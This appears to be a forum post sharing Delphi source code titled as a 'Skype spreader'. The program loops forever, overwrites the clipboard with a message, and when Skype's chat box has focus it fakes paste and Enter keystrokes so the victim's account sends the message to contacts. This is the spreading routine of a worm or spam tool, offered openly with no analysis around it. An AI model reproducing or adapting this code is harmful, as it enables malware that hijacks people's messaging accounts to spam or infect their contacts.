Skype Spreader Example by ap0calypse

[poqun]

Code:

program Project2;

{$APPTYPE CONSOLE}

uses
  Windows,Messages;

function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     EBX,ECX
        XOR     AL,AL
        TEST    ECX,ECX
        JZ      @@1
        REPNE   SCASB
        JNE     @@1
        INC     ECX
@@1:    SUB     EBX,ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,EDI
        MOV     ECX,EBX
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EBX
        AND     ECX,3
        REP     MOVSB
        STOSB
        MOV     EAX,EDX
        POP     EBX
        POP     ESI
        POP     EDI
end;


function StrPCopy(Dest: PChar; const Source: string): PChar;
begin
  Result := StrLCopy(Dest, PChar(Source), Length(Source));
end;

Procedure ModifyClipboardData(MyString : String);
VAR
DataHan : THandle;
P : Pointer;
Begin
       OpenClipboard(0);
       EmptyClipboard;
       DataHan := GlobalAlloc(GHND, Length(MyString)+ 1);
       P := GlobalLock(DataHan);
       StrPCopy(P, MyString);
       GlobalUnlock(DataHan);
       Windows.SetClipboardData(CF_TEXT, DataHan);
       CloseClipboard;
End;

Function StrToInt(Data : string) : Integer;
Begin
  Val(Data,Result,Result);

end;

VAR
  TInfo : TAGGUITHREADINFO;
  Buffer : String;
  iDelay : Integer;
  sMessage :String;
begin
  sMessage := 'HELLO WORLD';
  iDelay   := 1000;
  IF iDelay=0 Then iDelay:=10000;
  IF lstrlenA(PAnsiChar(sMessage))<1 then ExitProcess(0);
  While True Do
  Begin
        ModifyClipboardData(sMessage);
        ZeroMemory(@TInfo,SizeOf(TInfo));
        TInfo.cbSize := SizeOf(TAGGUITHREADINFO);
        Windows.GetGUIThreadInfo(0,TInfo);
        SetLength(Buffer, 255);
        GetClassNameA(TInfo.hwndFocus, PAnsiChar(Buffer), 255);

        IF Copy(Buffer,1,Length('TChatRichEdit'))='TChatRichEdit' then
        Begin
            keybd_event(VK_CONTROL,0,0,0);
            keybd_event(ord('V'),0,0,0);
            keybd_event(ord('V'),0,KEYEVENTF_KEYUP,0);
            keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
            keybd_event(VK_RETURN,0,0,0);
            keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0);
        end;
        Sleep(iDelay);
        
  End;
  ExitProcess(0);
end.